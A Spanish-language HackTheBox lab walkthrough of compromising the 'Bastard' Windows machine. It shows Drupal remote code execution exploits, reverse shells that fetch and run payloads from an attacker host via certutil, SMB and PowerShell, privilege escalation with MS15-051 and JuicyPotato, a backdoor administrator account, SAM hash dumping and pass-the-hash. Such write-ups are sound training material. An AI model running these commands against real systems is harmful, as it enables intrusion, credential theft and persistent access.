HTB bastard
¡Hola!
En esta ocasión vamos a resolver de la máquina bastard
de HackTheBox.
La máquina es nivel “Medium”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre bastard
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack bastard
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
osping 10.10.10.9
[*] Detectando sistema operativo ...
[+] 10.10.10.9 ttl=127 >> Windows
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.9 -oG ports | grep open
80/tcp open http
135/tcp open msrpc
49154/tcp open unknown
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p80,135,49154 -sCV 10.10.10.9 -oN versions
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
RECONOCIMIENTO WEB
Iniciamos con el reconocimiento del servicio web
donde inicialmente, por medio de la utilidad whatweb
enumeramos información de librerías, gestores de contenido, entre otros.
whatweb 10.10.10.9
#OUTPUT
http://10.10.10.9 [200 OK] Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.9], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], Microsoft-IIS[7.5], PHP[5.3.28,], PasswordField[pass], Script[text/javascript], Title[Welcome to 10.10.10.9 | 10.10.10.9], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.3.28, ASP.NET]
RCE POR DRUPAGEDDON2
Hacemos uso de searchsploit
buscando potenciales maneras de intrusión por medio de la explotación de Drupal 7.x
.
searchsploit drupal 7.x
#OUTPUT
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Vamos a ubicarnos en la carpeta exploit
y a descargar el exploit php/webapps/44449.rb
.
cd ../exploit
searchsploit -m php/webapps/44449.rb
Ejecutamos el exploit agregando únicamente el objetivo en cuestión, sin embargo, se debe instalar la gema highline
para que funcione correctamente y obtener una ejecución remota de comandos como el usuario iusr
sudo gem install highline
ruby 44449.rb http://10.10.10.9
#OUTPUT
drupalgeddon2>> whoami
nt authority\iusr
RCE POR CVE-2018-7600
Otro método de intrusión se puede ejecutar por medio del script en python
del github de pimps, por lo que se procede a descargar el repositorio y asignando como argumentos la URL y el comando que se desea ejecutar, tenemos acceso como usuario iusr
.
git clone https://github.com/pimps/CVE-2018-7600
cd CVE-2018-7600/
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c whoami
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |
=============================================================================
[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-Bq2RKgVRi6UOsNDdQTbbkdP7-_788S3t3WDJh9J9rX4
[*] Triggering exploit to execute: whoami
nt authority\iusr
REVERSE SHELL MSFVENOM
Generamos un payload
de intrusión con msfvenom
para obtener acceso a una sesión interactiva de la máquina víctima.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.13 LPORT=4564 -f exe -o reverseShell.exe
Vamos a realizar dos maneras de darle utilidad al payload generado anteriormente.
CARGA DE REVERSE POR DRUPAGEDDON2 + CERTUTIL
Activamos un servidor http
con python
por el puerto 80
.
sudo python3 -m http.server 80
Hacemos uso del primer exploit para ejecutar el comando certutil.exe
directamente en la máquina víctima, descargando la reverse shell y posteriormente se ejecuta en la ubicación asignada, no sin antes ponernos en escucha por el puerto donde generamos la reverse shell.
drupalgeddon2>> certutil.exe -f -urlcache -split http://10.10.14.13/reverseShell.exe C:\Windows\Temp\reverseShell.exe
rlwrap nc -lvnp 4564
drupalgeddon2>> C:\Windows\Temp\reverseShell.exe
#OUTPUT
whoami
nt authority\iusr
CARGA DE REVERSE POR CVE-2018-7600 + IMPACKET-SMBSERVER
Vamos a cargar la reverse shell esta vez ejecutando comandos de manera remota por el segundo exploit y compartiendo un servicio smb
desde nuestro equipo de atacantes, de igual forma, nos ponemos en escucha por el puerto indicado y ejecutamos directamente la reverse shell desde nuestra propia máquina.
sudo impacket-smbserver smbFolder $(pwd)
rlwrap nc -lvnp 4564
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "\\\\10.10.14.13\smbFolder\rev.exe"
#OUTPUT
whoami
nt authority\iusr
DRUPALGEDDON2 + IMPACKET-SMBSERVER + NC
En esta ocasión vamos a realizar la intrusión por medio de la ejecución remota de comandos de drupalgeddon2
, junto con un servidor smb
activo para obtener una reverse shell por medio de la utilidad nc.exe
, por lo que debemos tener la utilidad donde tenemos activos los recursos compartidos.
cp /usr/share/sqlninja/apps/nc.exe .
ruby 44449.rb http://10.10.10.9
sudo impacket-smbserver smbFolder $(pwd)
rlwrap nc -lvnp 4564
drupalgeddon2>> \\10.10.14.2\smbFolder\nc.exe -e cmd.exe 10.10.14.2 4564
#OUTPUT
whoami
nt authority\iusr
CARGA DE REVERSE POR CVE-2018-7600 + IMPACKET-SMBSERVER
Para este escenario hacemos la carga por smb
y ejecución de la reverse shell generada con msfvenom
por medio de drupa7-CVE-2018-7600.py
.
sudo impacket-smbserver smbFolder $(pwd)
rlwrap nc -lvnp 4564
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "\\\\10.10.14.13\smbFolder\rev.exe"
#OUTPUT
whoami
nt authority\iusr
CVE-2018-7600 + HTTP SERVER + CERTUTIL
Vamos en esta oportunidad a crear una carpeta llamada intrution
, donde vamos a hacer la descarga con certutil
la utilidad nc.exe
y luego de esto obtener una reverse shell po ejecución remota de comandos.
rlwrap nc -lvnp 4564
sudo python3 -m http.server 80
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "mkdir C:\Windows\Temp\intrution"
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c 'certutil.exe -f -urlcache -split http://10.10.14.2/nc.exe C:\\Windows\Temp\intrution\nc.exe'
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "C:\Windows\Temp\intrution\nc.exe -e cmd.exe 10.10.14.2 4564"
#OUTPUT
whoami
nt authority\iusr
INTRUSION NISHANG + POWERSHELL
Hacemos ahora uso de nishang, realizando un ajuste en el código para obtener directamente una revese shell descargada en la máquina víctima, haciendo uso de powershell
por ejecución remota de comandos, por medio de un servidor http
de python en nuestra máquina atacante.
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
mv Invoke-PowerShellTcp.ps1 ps.ps1
vim ps.ps1
#AGREGAR EN LA ULTIMA LINEA
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 4565
rlwrap nc -lvnp 4565
sudo python3 -m http.server 80
python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.13/ps.ps1')"
#OUTPUT
whoami
nt authority\iusr
ESCALADA DE PRIVILEGIOS
Ahora que nos encontramos dentro de la máquina víctima, vamos a realizar un método mínimamente ruidoso para la explotación de vulnerabilidades con exploits públicos, por lo que vamos a hacer uso de la utilidad Sherlock del github de rasta-mouse.
wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1
Modificar parámetro en el script
vim Sherlock.ps1
#AGREGAR EN LA ULTIMA LINEA
Find-AllVulns
Servicio http
de python
sudo python3 -m http.server 80
En la máquina víctima ejecutamos
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.13/Sherlock.ps1')
Resultados de sherlock
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
ESCALADA POR MS15-051
Vamos a aprovecharnos de la vulnerabilidad ms15-051
, descargando y descomprimiendo el script de SecWiki y copiando la reverse shell generada por msfvenom
anteriormente.
wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS15-051/MS15-051-KB3045171.zip
unzip MS15-051-KB3045171.zip
cd MS15-051-KB3045171/
cp ../rev.exe .
Compartimos un servidor smb
sudo impacket-smbserver smbFolder $(pwd)
Generamos un listener
rlwrap nc -lvnp 4564
Ejecutamos comandos en la máquina víctima.
\\10.10.14.13\smbFolder\ms15-051x64.exe "\\10.10.14.13\smbFolder\rev.exe"
Obtenemos una sesión con permisos de administrador.
#OUTPUT
whoami
nt authority\system
ESCALADA JUICYPOTATO
Esta es otra manera de escalar privilegios, en esta ocasión vamos a hacer uso de JuicyPotato, debido a que tenemos habilitado el permiso SeImpersonatePrivilege
.
En máquina víctima consultamos permisos y grupos habilitados.
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ========================================= =======
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Descargamos JuicyPotato
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
Habilitamos un servidor http
por python
sudo python3 -m http.server 80
Descargamos en la máquina el recurso a explotar
certutil.exe -f -urlcache -split http://10.10.14.2/JuicyPotato.exe JuicyPotato.exe
MSFVENOM REVERSE SHELL
Generamos reverse shell con msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4565 -f exe -o rev.exe
Descargamos la reverse shell en la máquina víctima
certutil.exe -f -urlcache -split http://10.10.14.2/rev.exe
Generamos un listener
rlwrap nc -lvnp 4564
Ejecutamos JuicyPotato
activando la reverse shell desde la máquina víctima
JuicyPotato.exe -t * -l 1231 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\priv\rev.exe" -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
NOTA: Identifica el sistema operativo con systeminfo para obtener el CLSID
whoami
nt authority\system
NC.EXE REVERSE SHELL
Ahora vamos a escalar descargando nc.exe
con certutil
y ejecutar comandos privilegiados con JuicyPotato.exe
.
certutil.exe -f -urlcache -split http://10.10.14.2/nc.exe
Generamos un listener
rlwrap nc -lvnp 4564
Ejecutamos JuicyPotato
activando la reverse shell desde la máquina víctima
JuicyPotato.exe -t * -l 1231 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\priv\nc.exe -e cmd.exe 10.10.14.2 4566" -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
NOTA: Identifica el sistema operativo con systeminfo para obtener el CLSID
#OUTPUT
whoami
nt authority\system
ESCALADA POR CHISEL
Para este último ejercicio de escalada de privilegios vamos a crear un port forwarding
por medio de la herramienta chisel, para luego crear un usuario y asignarle privilegios, para obtener por medio de cme
y wmicexec.py
una consola interactiva con un usuario administrador.
Verificamos si el puerto 445
se encuentra habilitado en la máquina víctima.
netstat -nat
Active Connections
Proto Local Address Foreign Address State Offload State
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING InHost
Descargamos y descomprimimos chisel.exe
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_windows_amd64.gz
gunzip chisel_1.7.7_windows_amd64.gz
mv chisel_1.7.7_windows_amd64 chisel.exe
Nos ubicamos en la carpeta donde vamos a descargar chisel.exe
en la máquina víctima
cd C:\Windows\Temp\priv
certutil.exe -f -urlcache -split http://10.10.14.2/chisel.exe chisel.exe
Descargamos chisel
para nuestra máquina atacante
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
mv chisel_1.7.7_linux_amd64 chisel
chmod +x chisel
upx chisel
Ejecutamos chisel
en la máquina atacante
sudo ./chisel server --reverse -p 1234
Ejecutamos chisel
en la máquina víctima, generando un port forwarding
del puerto 445
chisel.exe client 10.10.14.2:1234 R:445:127.0.0.1:445
Ganamos acceso nuevamente y con JuicyPotato
creamos un usuario en la máquina víctima
jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user bastiant1c bast1ant1c! /add" -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
Verificamos la creación del usuario
net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator bastiant1c dimitris
Guest
Agregamos el usuario al grupo Administrators
jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup Administrators bastiant1c /add" -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
Creamos el recurso compartido attacker
con permisos de administración
jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net share attacker=C:\Windows\Temp /GRANT:Administrators,FULL" -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
Modificamos el registro para obtener permisos especiales y poder ganar acceso
jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f" -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
Ejecutamos cme
para verificar si tenemos un Pwn3d!
en los resultados
cme smb 127.0.0.1 -u 'bastiant1c' -p 'bast1ant1c!'
#OUTPUT
SMB 127.0.0.1 445 BASTARD [*] Windows Server 2008 R2 Datacenter 7600 (name:BASTARD) (domain:Bastard) (signing:False) (SMBv1:True)
SMB 127.0.0.1 445 BASTARD [+] Bastard\bastiant1c:bast1ant1c! (Pwn3d!)
Dumpeamos los hashes de los usuarios de la máquina víctima
cme smb 127.0.0.1 -u 'bastiant1c' -p 'bast1ant1c!' --sam
#OUTPUT
SMB 127.0.0.1 445 BASTARD [+] Dumping SAM hashes
SMB 127.0.0.1 445 BASTARD Administrator:500:aad3b435b51404eeaad3b435b51404ee:d3c87620c26302e9f04a756e3301e63a:::
SMB 127.0.0.1 445 BASTARD Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 127.0.0.1 445 BASTARD dimitris:1004:aad3b435b51404eeaad3b435b51404ee:57544bb8930967eee7f44d46f8bfe59d:::
Ejecutamos wmiexec.py
para acceder a una consola interactiva como el usuario Administrator
wmiexec.py WORGROUP/Administrator@10.10.10.9 -hashes :d3c87620c26302e9f04a756e3301e63a
#OUTPUT
C:\>whoami
bastard\administrator
¡Listo! Logramos una shell con un usuario administrador.
FLAGS
Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type
, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.
#USER
cd C:\
dir /r/s user.txt
C:\Users\dimitris\Desktop\user.txt
set /P user=<"C:\Users\dimitris\Desktop\user.txt"
echo.%user:~0,10%
ba22fde193
dir /r/s root.txt
C:\Users\Administrator\Desktop\root.txt
set /P root=<"C:\Users\Administrator\Desktop\root.txt"
echo.%root:~0,10%
4bf12b963d
¡Hemos logrado completar la máquina bastard
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.